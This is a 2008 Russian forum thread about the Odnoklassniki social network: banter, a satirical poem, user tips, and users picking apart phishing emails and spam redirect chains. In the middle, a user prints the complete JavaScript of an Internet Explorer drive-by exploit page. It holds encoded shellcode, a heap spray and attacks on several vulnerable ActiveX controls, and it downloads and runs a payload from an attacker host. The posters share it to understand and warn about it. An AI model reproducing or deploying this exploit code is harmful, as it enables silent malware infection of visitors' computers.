» Одноклассники.ru

Цитата:

Предупреждение на "Вконтакте" повесили именно после эпидемии червя Ровуд.

ложь Оно там еще с начала ноября висит, когда популярно было воровать куки посылками скриптовыми
Даж ваш покорный слуга пару раз сим воспользоваться успел - в октябре


Цитата:

Почему бы тебе не открыть ветку во флейме про "Вконтакт" и вней пиарить свой любимый сайт ?

то есть, вы признаетесь, что именно ПИАРИТЕ одноклассников?

а шо касаемо ыдыётов, которые не умеют читать, когда у каждого на странице висело предупреждение и инструкции, что делать (раздел новости - под левым навигационным меню) - ну так и на премию дарвина люди ухитряются попадать- не то что виря поймать ))

crackcrack

Цитата:

PS: Был задан совершенно конкретный вопрос,

а когда вам в мыло приходит сообщение о регистрации в инет магазе по продаже виагры с предложением оплатить чего-то там, или любой иной спам - тож судорожно вспоминаете, не регистрировались ли там, и что это такое? ) И тож "совершенно конкретные вопросы" задаете? )))


Цитата:

Я понимаю, насчет блондинок -это анекдот, но лично Вам чем так они насолили.

гЫ ) неужели разговариваю таки с блондинкой?

bredonosec
веселый вы человек
Было же предложено анекдоты писать в соответствующем разделе ..

А кто-то знает способ, чтобы предложеиние о "дружбе" проигнорировать не нажимая кнопку "отклонить" ? Или "принять" его и потом удалить, чтобы человек не получил об этом уведомления ?

Обнаружил еще один любопытный способ валяния дурака с одноклассниками:
Получил тут письмецо на мыло,
-----------
Здравствуйте, #########!

Вам пришло новое сообщение от пользователя:

Tamara

Чтобы прочитать сообщение перейдите по ссылке:

http://www.odnoklassniks.info//mi?... (поскипан мусор - не знаю, что там)


Если указанная выше ссылка не открывается, скопируйте ее в буфер обмена,
вставьте в адресную строку браузера и нажмите ввод.
-----------------
Поскольку никогда с этого мыла никуда не регался - возникло любопытство: где цимес?
В результате получен такой вот лог (сорри, что неполный, на всякий пожарный не браузером делал - заголовки не поимел: ну лень было куки стирать)
[more=details]
Sat Jun 07 21:32:50 2008 Соединение с www.odnoklassniks.info:80
Sat Jun 07 21:32:50 2008 Соединяемся с www.odnoklassniks.info [IP=211.95.79.57:80]
Sat Jun 07 21:32:50 2008 Соединение установлено
Sat Jun 07 21:32:50 2008 GET //mi?l=скипано HTTP/1.1
Sat Jun 07 21:32:50 2008 Host: www.odnoklassniks.info
Sat Jun 07 21:32:50 2008 Accept: */*
Sat Jun 07 21:32:50 2008 Referer: http://www.odnoklassniks.info/
Sat Jun 07 21:32:50 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Sat Jun 07 21:32:50 2008 Pragma: no-cache
Sat Jun 07 21:32:50 2008 Cache-Control: no-cache
Sat Jun 07 21:32:50 2008 Connection: close
Sat Jun 07 21:32:51 2008 HTTP/1.1 301 Moved Permanently
Sat Jun 07 21:32:51 2008 Date: Sat, 07 Jun 2008 18:29:56 GMT
Sat Jun 07 21:32:51 2008 Server: Apache/2
Sat Jun 07 21:32:51 2008 Location: http://www.odnoklassnikis.info/update.php?l=скип
Sat Jun 07 21:32:51 2008 Content-Length: 355
Sat Jun 07 21:32:51 2008 Connection: close
Sat Jun 07 21:32:51 2008 Content-Type: text/html; charset=iso-8859-1
Sat Jun 07 21:32:51 2008 X-Pad: avoid browser bug
Sat Jun 07 21:32:51 2008 Перенаправление на http://www.odnoklassnikis.info/update.php?l=скип
Sat Jun 07 21:32:51 2008 Соединение с www.odnoklassnikis.info:80
Sat Jun 07 21:32:51 2008 Соединяемся с www.odnoklassnikis.info [IP=211.95.79.57:80]
Sat Jun 07 21:32:51 2008 Соединение установлено
Sat Jun 07 21:32:51 2008 GET /update.php?l=скипаю HTTP/1.1
Sat Jun 07 21:32:51 2008 Host: www.odnoklassnikis.info
Sat Jun 07 21:32:51 2008 Accept: */*
Sat Jun 07 21:32:51 2008 Referer: http://www.odnoklassnikis.info
Sat Jun 07 21:32:51 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Sat Jun 07 21:32:51 2008 Pragma: no-cache
Sat Jun 07 21:32:51 2008 Cache-Control: no-cache
Sat Jun 07 21:32:51 2008 Connection: close
Sat Jun 07 21:32:52 2008 HTTP/1.1 302 Found
Sat Jun 07 21:32:52 2008 Date: Sat, 07 Jun 2008 18:29:57 GMT
Sat Jun 07 21:32:52 2008 Server: Apache/2
Sat Jun 07 21:32:52 2008 X-Powered-By: PHP/5.2.6
Sat Jun 07 21:32:52 2008 Cache-Control: no-store, no-cache, must-revalidate
Sat Jun 07 21:32:52 2008 Expires: Thu, 01 Jan 2000 00:00:00 GMT
Sat Jun 07 21:32:52 2008 Last-Modified: Thu, 01 Jan 2000 00:00:00 GMT
Sat Jun 07 21:32:52 2008 Pragma: no-cache
Sat Jun 07 21:32:52 2008 Set-Cookie: fiesta=123; expires=Sun, 08-Jun-2008 18:29:57 GMT
Sat Jun 07 21:32:52 2008 Location: http://odnoklassniki.ru/
Sat Jun 07 21:32:52 2008 Vary: Accept-Encoding,User-Agent
Sat Jun 07 21:32:52 2008 Content-Length: 0
Sat Jun 07 21:32:52 2008 Connection: close
Sat Jun 07 21:32:52 2008 Content-Type: text/html
Sat Jun 07 21:32:52 2008 Перенаправление на http://odnoklassniki.ru/
Sat Jun 07 21:32:52 2008 Соединение с odnoklassniki.ru:80
Sat Jun 07 21:32:52 2008 Соединяемся с odnoklassniki.ru [IP=81.177.141.207:80]
[/more]
поглядев адресочек данного ресурса, утвердился в мысли, что сие не совсем то, что треба:
[more]
Looking up 211.95.79.57...
Using whois server whois.apnic.net.


inetnum: 211.90.0.0 - 211.97.255.255
netname: UNICOM
descr: China United Telecommunications Corporation
descr: No.133,Taiyun Building,Xidan North Street
descr: Xicheng District,Beijing,China
country: CN
admin-c: JY1446-AP
tech-c: JY1446-AP
mnt-by: MAINT-CNNIC-AP
mnt-lower: MAINT-CNNIC-AP
mnt-routes: MAINT-CNNIC-AP
status: ALLOCATED PORTABLE
changed: ipas@cnnic.cn 20070731
changed: hm-changed@apnic.net 20070802
source: APNIC

person: Jin Yang
address: No.133,Taiyun Building,Xidan North Street
address: Xicheng District,Beijing,China
country: CN
phone: +86-10-66505588
fax-no: +86-10-66504252
e-mail: ip_address@cnuninet.com
nic-hdl: JY1446-AP
mnt-by: MAINT-CNNIC-AP
changed: ipas@cnnic.cn 20070828
source: APNIC

inetnum: 211.90.0.0 - 211.97.255.255
netname: UNICOM
descr: China United Telecommunications Corporation
descr: No.133,Taiyun Building,Xidan North Street
descr: Xicheng District,Beijing,China
country: CN
admin-c: JY7-CN
tech-c: JY7-CN
mnt-by: MAINT-CNNIC-AP
mnt-lower: MAINT-CN-UNICOM
status: ALLOCATED PORTABLE
changed: ipas@cnnic.cn 20071010
source: CNNIC

person: Jin Yang
nic-hdl: JY7-CN
e-mail: ip_address@cnuninet.com
address: No.133,Taiyun Building,Xidan North Street, Xicheng District,Beijing,China
phone: +86-10-66505588
fax-no: +86-10-66504252
country: CN
changed: ipas@cnnic.net.cn 20070927
mnt-by: MAINT-CNNIC-AP
source: CNNIC
[/more]
Вот единственное, что интересует - не увидел, на каком этапе тут кука воруется? В логе не отражено, только установка новой даты показана перед перенаправлением.
На сбор спам-базы мыл непохоже (хотя мало ли: мож уникальный айди по линке, подтверждающий жизнь такого-то мыла в базе..)
кто-нить поиграться не желает с ентим?
В смысле, что именно это г* делает.

bredonosec

Про это уже писали там если на сайт зайти тебе копируется троян - это работает только в IE. Затем происходит перенаправление на правильный сайт.

Да интересно у них там
Вот сам исполняемый скрипт [more=код]

Код: <script language="JavaScript">
        var m=new Array();
        var mf=0;
        var url="http://odnoklassnikis.info/load.php";

        function hex(num,width){
            var digits="0123456789ABCDEF";
            var hex=digits.substr(num&0xF,1);
            while(num>0xF){
                num=num>>>4;
                hex=digits.substr(num&0xF,1)+hex;
            }
            var width=(width?width:0);
            while(hex.length<width)hex="0"+hex;
            return hex;
        }

        function addr(addr){
            return unescape("%u"+hex(addr&0xFFFF,4)+"%u"+hex((addr>>16)&0xFFFF,4));
        }

        function unes(str){
            var tmp="";
            for(var i=0;i<str.length;i+=4){
                tmp+=addr((str.charCodeAt(i+3)<<24)+
                    (str.charCodeAt(i+2)<<16)+
                    (str.charCodeAt(i+1)<<8)+
                    str.charCodeAt(i));
            }
            return unescape(tmp);
        }

        function hav(){
            mf=mf;
            setTimeout("hav()",2000);
        }

        function gss(ss,sss){
            while(ss.length*2<sss)ss+=ss;
            ss=ss.substring(0,sss/2);
            return ss;
        }

        function ms(spl){
            var plc=unes(
            "\x43\x43\x43\x43\x43\x43\xEB\x0F\x5B\x33\xC9\x66\xB9\x80\x01\x80"+
            "\x33\xEF\x43\xE2\xFA\xEB\x05\xE8\xEC\xFF\xFF\xFF\x7F\x8B\x4E\xDF"+
            "\xEF\xEF\xEF\x64\xAF\xE3\x64\x9F\xF3\x42\x64\x9F\xE7\x6E\x03\xEF"+
            "\xEB\xEF\xEF\x64\x03\xB9\x87\x61\xA1\xE1\x03\x07\x11\xEF\xEF\xEF"+
            "\x66\xAA\xEB\xB9\x87\x77\x11\x65\xE1\x07\x1F\xEF\xEF\xEF\x66\xAA"+
            "\xE7\xB9\x87\xCA\x5F\x10\x2D\x07\x0D\xEF\xEF\xEF\x66\xAA\xE3\xB9"+
            "\x87\x00\x21\x0F\x8F\x07\x3B\xEF\xEF\xEF\x66\xAA\xFF\xB9\x87\x2E"+
            "\x96\x0A\x57\x07\x29\xEF\xEF\xEF\x66\xAA\xFB\xAF\x6F\xD7\x2C\x9A"+
            "\x15\x66\xAA\xF7\x06\xE8\xEE\xEF\xEF\xB1\x66\x9A\xCB\x64\xAA\xEB"+
            "\x85\xEE\xB6\x64\xBA\xF7\xB9\x07\x64\xEF\xEF\xEF\xBF\x87\xD9\xF5"+
            "\xC0\x9F\x07\x78\xEF\xEF\xEF\x66\xAA\xF3\x64\x2A\x6C\x2F\xBF\x66"+
            "\xAA\xCF\x87\x10\xEF\xEF\xEF\xBF\x64\xAA\xFB\x85\xED\xB6\x64\xBA"+
            "\xF7\x07\x8E\xEF\xEF\xEF\xEC\xAA\xCF\x28\xEF\xB3\x91\xC1\x8A\x28"+
            "\xAF\xEB\x97\x8A\xEF\xEF\x10\x9A\xCF\x64\xAA\xE3\x85\xEE\xB6\x64"+
            "\xBA\xF7\x07\xAF\xEF\xEF\xEF\x85\xE8\xB7\xEC\xAA\xCB\xDC\x34\xBC"+
            "\xBC\x10\x9A\xCF\xBF\xBC\x64\xAA\xF3\x85\xEA\xB6\x64\xBA\xF7\x07"+
            "\xCC\xEF\xEF\xEF\x85\xEF\x10\x9A\xCF\x64\xAA\xE7\x85\xED\xB6\x64"+
            "\xBA\xF7\x07\xFF\xEF\xEF\xEF\x85\x10\x64\xAA\xFF\x85\xEE\xB6\x64"+
            "\xBA\xF7\x07\xEF\xEF\xEF\xEF\xAE\xB4\xBD\xEC\x0E\xEC\x0E\xEC\x0E"+
            "\xEC\x0E\x6C\x03\xEB\xB5\xBC\x64\x35\x0D\x18\xBD\x10\x0F\xBA\x64"+
            "\x03\x64\x92\xE7\x64\xB2\xE3\xB9\x64\x9C\xD3\x64\x9B\xF1\x97\xEC"+
            "\x1C\xB9\x64\x99\xCF\xEC\x1C\xDC\x26\xA6\xAE\x42\xEC\x2C\xB9\xDC"+
            "\x19\xE0\x51\xFF\xD5\x1D\x9B\xE7\x2E\x21\xE2\xEC\x1D\xAF\x04\x1E"+
            "\xD4\x11\xB1\x9A\x0A\xB5\x64\x04\x64\xB5\xCB\xEC\x32\x89\x64\xE3"+
            "\xA4\x64\xB5\xF3\xEC\x32\x64\xEB\x64\xEC\x2A\xB1\xB2\x2D\xE7\xEF"+
            "\x07\x1B\x11\x10\x10\xBA\xBD\xA3\xA2\xA0\xA1\xEF"+url+spl);
            var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
            var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
            if (mf){
                for (i=0;i<hb;i++)delete m[i];
                CollectGarbage();
            }
            for(i=0;i<hb;i++)m[i]=ss+plc;
            if(!mf){
                mf=1;
                hav();
            }
            return 0;
        }

        function cobj(obj){
            var ret=null;
            if(obj.substring(0,1)=="{"){
                try{
                    var clsid=obj.substring(1,obj.length-1);
                    ret=document.createElement("object");
                    ret.setAttribute("classid","clsid:"+clsid);
                    return ret;
                }catch(e){
                    return null;
                }
            }else{
                try{
                    ret=new ActiveXObject(obj);
                    return ret;
                }catch(e){
                    return null;
                }
            }
        }
        
        function attack(s){
            var obj=null;
    
            if(s==4){
                try{
                    var obj1=cobj("{8C875948-9C60-4381-9248-0DF180542D53}");
                    var obj2=cobj("{BFC08CFF-C737-4433-BD5A-0EE7EFCFEE54}");
                    if(obj1||obj2){
                        try{obj1.DownloadAndExec(url+"?spl=zango1");}catch(e){}
                        try{obj2.DownloadAndExec(url+"?spl=zango2");}catch(e){}
                        setTimeout("attack(5)",2000);
                    }
                }catch(e){}
                setTimeout("attack(5)",1);
                return 0;
            }

            if(s==5){
                try{
                    obj=cobj("{48DD0448-9209-4F81-9F6D-D83562940134}");
                    if(obj){
                        ms("?spl=myspace");
                        var buf=addr(0x0c0c0c0c);
                        while(buf.length<600)buf+=buf;
                        obj.Action=buf;
                        setTimeout("attack(6)",2000);
                    }
                }catch(e){}
                setTimeout("attack(6)",1);
                return 0;
            }

            if(s==6){
                try{
                    obj=cobj("{5F810AFC-BB5F-4416-BE63-E01DD117BD6C}");
                    if(obj){
                        ms("?spl=ymj");
                        var buf=addr(0x0c0c0c0c);
                        while(buf.length<340)buf+=buf;
                        obj.AddImage("http://"+buf,1);
                        setTimeout("attack(7)",2000);
                    }
                }catch(e){}
                setTimeout("attack(7)",1);
                return 0;
            }

            if(s==7){
                try{
                    obj=cobj("Sb.SuperBuddy.1");
                    if(obj){
                        ms("?spl=buddy");
                        obj.LinkSBIcons(0x0c0c0c0c);
                        setTimeout("attack(8)",2000);
                    }
                }catch(e){}
                setTimeout("attack(8)",1);
                return 0;
            }

            if(s==8){
                try{
                    obj=cobj("DirectAnimation.PathControl");
                    if(obj){
                        ms("?spl=vml2");
                        init();
                        var jmpecx = 0x0c0c0c0c;
                        var vtable = addr(0x7ceb9090);
                        for (var i = 0; i < 124/4; i++)vtable += addr(jmpecx);
                        vtable += padding.substr(0, (1008-138)/2);
                        var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
                        var fakeObjChunk = padding.substr(0, (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
                        CollectGarbage();
                        flush();
                        for (var i = 0; i < 100; i++)alloc_str(vtable);
                        alloc_str(vtable, "lookaside");
                        free("lookaside");
                        for (var i = 0; i < 100; i++)alloc(0x2010);
                        for (var i = 0; i < 2; i++) {
                            alloc_str(fakeObjChunk);
                            alloc_str(fakeObjChunk, "freeList");
                        }
                        alloc_str(fakeObjChunk);
                        free("freeList");
                        obj.KeyFrame(0x40000801, new Array(1), new Array(1));
                        setTimeout("attack(9)",2000);
                    }
                }catch(e){}
                setTimeout("attack(9)",1);
                return 0;
            }

            if(s==9){
                setTimeout("window.location = \"http://www.odnoklassniki.ru/\"",1);
                return 0;
            }

        }
    attack(4);
    </script>

Кроме вирусов клик по ссылке подтвердит что мыло валидное и живое и абонент не против получить туда пачку виагр.

В тему:
http://habrahabr.ru/blog/infosecurity/43678.html
http://vilgeforce.habrahabr.ru/blog/43746.html
http://habrahabr.ru/blog/infosecurity/43778.html
http://vilgeforce.habrahabr.ru/blog/43787.html

а вот такое обнаружил на вконтакте:
на стену бросается пост [more=типа]
Ахаха, обязательно скачай и посмотри второй ролик в первом ряду на http://www extra69 ru , там на третьей минуте такооое)))) У меня ничего в жизни столько смеха не вызывало))))
1137258764[/more]
ставим на слив - первый адрес перенаправляет жабаскриптом на http://www pornobums ru , оттуда - на _www sms2video ru/?adv=kubik2 , оттуда - вообще [more=красота]
Tue Jun 10 19:49:42 2008 Соединение с www sms2video ru:80
Tue Jun 10 19:49:42 2008 Соединяемся с www sms2video ru [IP=91.202.63.41:80]
Tue Jun 10 19:49:42 2008 Соединение установлено
Tue Jun 10 19:49:42 2008 GET /?adv=kubik2 HTTP/1.1
Tue Jun 10 19:49:42 2008 Host: www sms2video ru
Tue Jun 10 19:49:42 2008 Accept: */*
Tue Jun 10 19:49:42 2008 Referer: http://www sms2video ru
Tue Jun 10 19:49:42 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:42 2008 Pragma: no-cache
Tue Jun 10 19:49:42 2008 Cache-Control: no-cache
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 HTTP/1.0 302 Found
Tue Jun 10 19:49:42 2008 Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Tue Jun 10 19:49:42 2008 Expires: Mon, 01 Jan 1990 00:00:00 GMT
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 Location: /j?7eSQwDd+QBEMrBVNjfg3oS8/YWR2PWt1YmlrMg==
Tue Jun 10 19:49:42 2008 Перенаправление на /j?7eSQwDd+QBEMrBVNjfg3oS8/YWR2PWt1YmlrMg==
Tue Jun 10 19:49:42 2008 Соединяемся с www sms2video ru [IP=91.202.63.41:80]
Tue Jun 10 19:49:42 2008 Соединение установлено
Tue Jun 10 19:49:42 2008 GET /j?7eSQwDd+QBEMrBVNjfg3oS8/YWR2PWt1YmlrMg== HTTP/1.1
Tue Jun 10 19:49:42 2008 Host: www sms2video ru
Tue Jun 10 19:49:42 2008 Accept: */*
Tue Jun 10 19:49:42 2008 Referer: http://вww sms2video ru/j?7eSQwDd+QBEMrBVNjfg3oS8
Tue Jun 10 19:49:42 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:42 2008 Pragma: no-cache
Tue Jun 10 19:49:42 2008 Cache-Control: no-cache
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 HTTP/1.0 302 Found
Tue Jun 10 19:49:42 2008 Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Tue Jun 10 19:49:42 2008 Expires: Mon, 01 Jan 1990 00:00:00 GMT
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 Location: /?adv=kubik2
Tue Jun 10 19:49:42 2008 Перенаправление на /?adv=kubik2
Tue Jun 10 19:49:42 2008 Соединяемся с www sms2video ru [IP=91.202.63.41:80]
Tue Jun 10 19:49:42 2008 Соединение установлено
Tue Jun 10 19:49:42 2008 GET /?adv=kubik2 HTTP/1.1
Tue Jun 10 19:49:42 2008 Host: вww sms2video ru
Tue Jun 10 19:49:42 2008 Accept: */*
Tue Jun 10 19:49:42 2008 Referer: http://www sms2video ru
Tue Jun 10 19:49:42 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:42 2008 Pragma: no-cache
Tue Jun 10 19:49:42 2008 Cache-Control: no-cache
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 HTTP/1.1 302 Found
Tue Jun 10 19:49:42 2008 Server: nginx/0.6.30
Tue Jun 10 19:49:42 2008 Date: Tue, 10 Jun 2008 16:45:46 GMT
Tue Jun 10 19:49:42 2008 Content-Type: text/html
Tue Jun 10 19:49:42 2008 Connection: close
Tue Jun 10 19:49:42 2008 X-Powered-By: PHP/5.2.6
Tue Jun 10 19:49:42 2008 Set-Cookie: unique=1; expires=Wed, 11-Jun-2008 16:45:32 GMT; path=/
Tue Jun 10 19:49:42 2008 Location: http://www drochka9 ru/index.php?p_id=455
Tue Jun 10 19:49:42 2008 Content-length: 0
Tue Jun 10 19:49:42 2008 Перенаправление на http://www drochka9 ru/index.php?p_id=455
Tue Jun 10 19:49:42 2008 Соединение с www drochka9 ru:80
Tue Jun 10 19:49:43 2008 Соединяемся с www drochka9 ru [IP=72.233.65.80:80]
Tue Jun 10 19:49:43 2008 Соединение установлено
Tue Jun 10 19:49:43 2008 GET /index.php?p_id=455 HTTP/1.1
Tue Jun 10 19:49:43 2008 Host: вww drochka9 ru
Tue Jun 10 19:49:43 2008 Accept: */*
Tue Jun 10 19:49:43 2008 Referer: http://вww drochka9 ru
Tue Jun 10 19:49:43 2008 Cookie: unique=1
Tue Jun 10 19:49:43 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:43 2008 Pragma: no-cache
Tue Jun 10 19:49:43 2008 Cache-Control: no-cache
Tue Jun 10 19:49:43 2008 Connection: close
Tue Jun 10 19:49:43 2008 HTTP/1.1 302 Found
Tue Jun 10 19:49:43 2008 Server: nginx/0.6.29
Tue Jun 10 19:49:43 2008 Date: Tue, 10 Jun 2008 16:46:35 GMT
Tue Jun 10 19:49:43 2008 Content-Type: text/html
Tue Jun 10 19:49:43 2008 Transfer-Encoding: chunked
Tue Jun 10 19:49:43 2008 Connection: close
Tue Jun 10 19:49:43 2008 X-Powered-By: PHP/5.2.5
Tue Jun 10 19:49:43 2008 Set-Cookie: PHPSESSID=8b24ca178490c614245060558bdafffc; path=/
Tue Jun 10 19:49:43 2008 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Tue Jun 10 19:49:43 2008 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Tue Jun 10 19:49:43 2008 Pragma: no-cache
Tue Jun 10 19:49:43 2008 Referer: http://www drochka9 ru
Tue Jun 10 19:49:43 2008 Location: hтtp://ebnvideo com/?pid=918
Tue Jun 10 19:49:43 2008 Перенаправление на http://ebnvideo com/?pid=918
Tue Jun 10 19:49:43 2008 Соединение с ebnvideo com:80
Tue Jun 10 19:49:43 2008 Соединяемся с ebnvideo com [IP=91.202.63.30:80]
Tue Jun 10 19:49:43 2008 Соединение установлено
Tue Jun 10 19:49:43 2008 GET /?pid=918 HTTP/1.1
Tue Jun 10 19:49:43 2008 Host: ebnvideo com
Tue Jun 10 19:49:43 2008 Accept: */*
Tue Jun 10 19:49:43 2008 Referer: http://ebnvideo com
Tue Jun 10 19:49:43 2008 Cookie: PHPSESSID=8b24ca178490c614245060558bdafffc
Tue Jun 10 19:49:43 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:43 2008 Pragma: no-cache
Tue Jun 10 19:49:43 2008 Cache-Control: no-cache
Tue Jun 10 19:49:43 2008 Connection: close
Tue Jun 10 19:49:43 2008 HTTP/1.0 302 Found
Tue Jun 10 19:49:43 2008 Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Tue Jun 10 19:49:43 2008 Expires: Mon, 01 Jan 1990 00:00:00 GMT
Tue Jun 10 19:49:43 2008 Connection: close
Tue Jun 10 19:49:43 2008 Location: /j?QDQMY72gJHptajkuCc2jBy8/cGlkPTkxOA==
Tue Jun 10 19:49:43 2008 Перенаправление на /j?QDQMY72gJHptajkuCc2jBy8/cGlkPTkxOA==
Tue Jun 10 19:49:43 2008 Соединяемся с ebnvideo com [IP=91.202.63.30:80]
Tue Jun 10 19:49:43 2008 Соединение установлено
Tue Jun 10 19:49:43 2008 GET /j?QDQMY72gJHptajkuCc2jBy8/cGlkPTkxOA== HTTP/1.1
Tue Jun 10 19:49:43 2008 Host: ebnvideo.com
Tue Jun 10 19:49:43 2008 Accept: */*
Tue Jun 10 19:49:43 2008 Referer: http://ebnvideo com/j?QDQMY72gJHptajkuCc2jBy8
Tue Jun 10 19:49:43 2008 Cookie: PHPSESSID=8b24ca178490c614245060558bdafffc
Tue Jun 10 19:49:43 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:43 2008 Pragma: no-cache
Tue Jun 10 19:49:43 2008 Cache-Control: no-cache
Tue Jun 10 19:49:43 2008 Connection: close
Tue Jun 10 19:49:44 2008 HTTP/1.0 302 Found
Tue Jun 10 19:49:44 2008 Cache-Control: no-cache, no-store, must-revalidate, max-age=0
Tue Jun 10 19:49:44 2008 Expires: Mon, 01 Jan 1990 00:00:00 GMT
Tue Jun 10 19:49:44 2008 Connection: close
Tue Jun 10 19:49:44 2008 Location: /?pid=918
Tue Jun 10 19:49:44 2008 Перенаправление на /?pid=918
Tue Jun 10 19:49:44 2008 Соединяемся с ebnvideo.com [IP=91.202.63.30:80]
Tue Jun 10 19:49:44 2008 Соединение установлено
Tue Jun 10 19:49:44 2008 GET /?pid=918 HTTP/1.1
Tue Jun 10 19:49:44 2008 Host: ebnvideo om
Tue Jun 10 19:49:44 2008 Accept: */*
Tue Jun 10 19:49:44 2008 Referer: http://ebnvideo com
Tue Jun 10 19:49:44 2008 Cookie: PHPSESSID=8b24ca178490c614245060558bdafffc
Tue Jun 10 19:49:44 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:44 2008 Pragma: no-cache
Tue Jun 10 19:49:44 2008 Cache-Control: no-cache
Tue Jun 10 19:49:44 2008 Connection: close
Tue Jun 10 19:49:45 2008 HTTP/1.1 302 Found
Tue Jun 10 19:49:45 2008 Server: nginx/0.6.26
Tue Jun 10 19:49:45 2008 Date: Tue, 10 Jun 2008 16:46:06 GMT
Tue Jun 10 19:49:45 2008 Content-Type: text/html; charset=windows-1251
Tue Jun 10 19:49:45 2008 Transfer-Encoding: chunked
Tue Jun 10 19:49:45 2008 Connection: close
Tue Jun 10 19:49:45 2008 X-Powered-By: PHP/5.2.5
Tue Jun 10 19:49:45 2008 Expires: Thu, 19 Nov 1981 08:52:00 GMT
Tue Jun 10 19:49:45 2008 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Tue Jun 10 19:49:45 2008 Pragma: no-cache
Tue Jun 10 19:49:45 2008 Set-Cookie: language=ru; expires=Fri, 10-Dec-2010 04:46:41 GMT
Tue Jun 10 19:49:45 2008 Location: /?pid=918
Tue Jun 10 19:49:45 2008 Перенаправление на /?pid=918
Tue Jun 10 19:49:45 2008 Соединяемся с ebnvideo com [IP=91.202.63.30:80]
Tue Jun 10 19:49:45 2008 Соединение установлено
Tue Jun 10 19:49:45 2008 GET /?pid=918 HTTP/1.1
Tue Jun 10 19:49:45 2008 Host: ebnvideo com
Tue Jun 10 19:49:45 2008 Accept: */*
Tue Jun 10 19:49:45 2008 Referer: http://ebnvideo com
Tue Jun 10 19:49:45 2008 Cookie: language=ru
Tue Jun 10 19:49:45 2008 User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)
Tue Jun 10 19:49:45 2008 Pragma: no-cache
Tue Jun 10 19:49:45 2008 Cache-Control: no-cache
Tue Jun 10 19:49:45 2008 Connection: close
Tue Jun 10 19:49:46 2008 User Cancel At 0.[/more]
(просто остановил, не стал дожидаться конца)
Правильно ли понял, что идет попытка автоподписки на все открываемые?
И опять же, некий скрипт, вероятно, должен сливаться, если в ИЕ?

//кста, любопытно, чем можно безопасно имитировать браузер? А то качалка много не видит - как-бы самое любопытное пропускаю в сей комедии

//апд. модифицировал адреса, чтоб никаких тиц им не шло с руборда.

bredonosec

Цитата:

Правильно ли понял, что идет попытка автоподписки на все открываемые?

накрутка по реферальному посещению.

Цитата:

накрутка по реферальному посещению.

всего навсего? и никаких загрузок мусора на зверька? даж странно...

На «Одноклассники» я влез тут по приколу
Подумал по душевной простоте:
Сейчас найду и дворик наш, и школу
Да только всё не то и все не те.

Ну, это Дунька. Дунька была дура,
Деревня, в огороде бузина.
А фотки – йопт! – на фоне Сингапура!
Херасебе, какая крутизна!

Туда же Манька: Бирмы-Таиланды
Не лыком шиты! Не в своей стране!
«Вот с гуру я – он вылечил мне гланды»
«Я на слоне» «А это – слон на мне»

Да xep ли Таиланд мне, xyйли Бирма!
Вот Вася – был порядочным срулем
Автомобиль богатый, Офис. Фирма.
Начальственная ряха за рулем.

Кретин топографический, Федота.
Чего-то жрет. «Парижский ресторан»!
А синий фон на том же самом фото
Не что иное, как «Индийский океан»

«Я забывайт, а как это поруськи?
Я так соскучилайсь, але, привет, народ!»
На фоне небоскребов – фэйс Маруськи
И рот – все тот же. Лишь чуть больше рот.

«Да ты и в школе языком владела плохо!», –
Припомнил я затылок почесал
А вот Жиртрест наш. Чтоб не слыть за лоха
«На фоне Свинкса» – фотку подписал.

И что ни фотография, то фетиш,
Зажиточности знак, роскошный вид
Пророка в «Одноклассниках» не встретишь,
В родном отечестве не сыщешь пирамид

На ламе тот, а этот – на верблюде
(И разбери, кто более урод)
Ведь это ж все больные, сyка, люди!
И эти люди, в целом – твой народ

И вдруг, средь этой ярмарки тщеславья
Одно лицо. Простецкий антураж.
Семья как будто. Баба. (С виду – Клава)
Детишек мал мала. Сарай. Гараж.

И видно – мужику на пальмы пoxyй –
На море Мертвое и этот пошлый век
«Привет, Косой!» «Шалом алейкум, Леха!»
Единственный нормальный человек

не мое

ser6ii
Ну что ж. Чуть ли не отлично. Ваше? В принципе, знаю ответ, но вдруг.
И опять же, есть чё процитировать.
Цитата:

В родном отечестве не сыщешь пирамид

Добавлено:
Ага.
Цитата:

не мое

Я знал, я знал. Кто это?

Не мое найдено в сети

Подскажите как сделать так, чтоб желаемые друзья в друзьях оставались на первых страницах, а то при добавлении новых страниц уходят в никуда???

UKPR
Встречайся с друзьями в реале, другого способа нет.

tumber
можно конечно их добавить в фавориты, но думаю не поможет

UKPR, удали всех, кроме желаемых)))

Garfial

Цитата:

UKPR, удали всех, кроме желаемых)))

ты хорошо сказал 150 друзей так легко удалить да?

UKPR

Цитата:

150 друзей так легко удалить да?

По жизни столько друзей не бывает. Можно удалять.

tumber

Цитата:

По жизни столько друзей не бывает. Можно удалять.

Зы бывает, я общительный человек

Новая фишка на Одноклассниках - за платные СМСки можно удалить плохие оценки
